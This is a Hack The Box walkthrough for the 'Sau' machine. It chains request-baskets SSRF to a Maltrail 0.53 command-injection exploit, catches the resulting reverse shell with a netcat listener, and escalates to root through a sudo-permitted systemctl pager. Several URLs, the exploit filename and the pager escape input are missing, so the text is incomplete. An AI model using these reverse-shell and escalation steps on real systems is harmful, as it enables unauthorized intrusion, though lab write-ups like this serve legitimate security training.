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Sau: Use Server Side Request Forgery to pwn the machine

posted on 10.8.2023 by Below Surface in "Hack The Box"


sudo nmap -sV


22/tcp   open    ssh    OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp   filtered http
55555/tcp open    unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :

For port 55555 we get a bunch of different responses gathered by Nmap. Some indicate that a website may be running on this port, so we check that in the browser:

Yes! A website is displayed. Here we can create buckets to analyze API calls. Let's create a bucket named "buck". Then open it. The URL for the bucket is

The website allows you to modify this bucket, by clicking the settings button. After some research about the system, we found an exploit for this version, which we will use to get a reverse shell. Configure the bucket to:

Forward URL:
Set a check mark for "Proxy Response"
Hit apply

Now, when visiting:

We get a broken Maltrail frontend displayed. And we find out that the version 0.53 is exploitable!

So we open a new terminal window and start Netcat on port 80:

sudo netcat -lvnp 80

Expected output:

listening on [any] 80 ...

Then we create a new file and paste in the Maltrail-v0.53-Exploit code (resource below):

mkdir temp
cd temp
sudo nano

paste the code, hit ctrl + shift + o, then hit enter and then ctrl + shift + x to close the editor.

Before running the exploit, we change the Forward URL of the bucket to:

Forward URL:

Now, run the exploit:

python3 YOURIP 80

Expected output:

Running exploit on

After a short while, in the Netcat window, the reverse shell opens up! Go and get the user flag:

cd ~
cat user.txt

Time for privilege escalation. Check if the current user puma can run any sudo commands:

sudo -l

Relevant output:

User puma may run the following commands on sau:
   (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

So, let's run this command:

sudo /usr/bin/systemctl status trail.service

Type in


Hit enter

cd ~
cat root.txt



hack the box
server side request forgery
known vulnerabilities
request baskets


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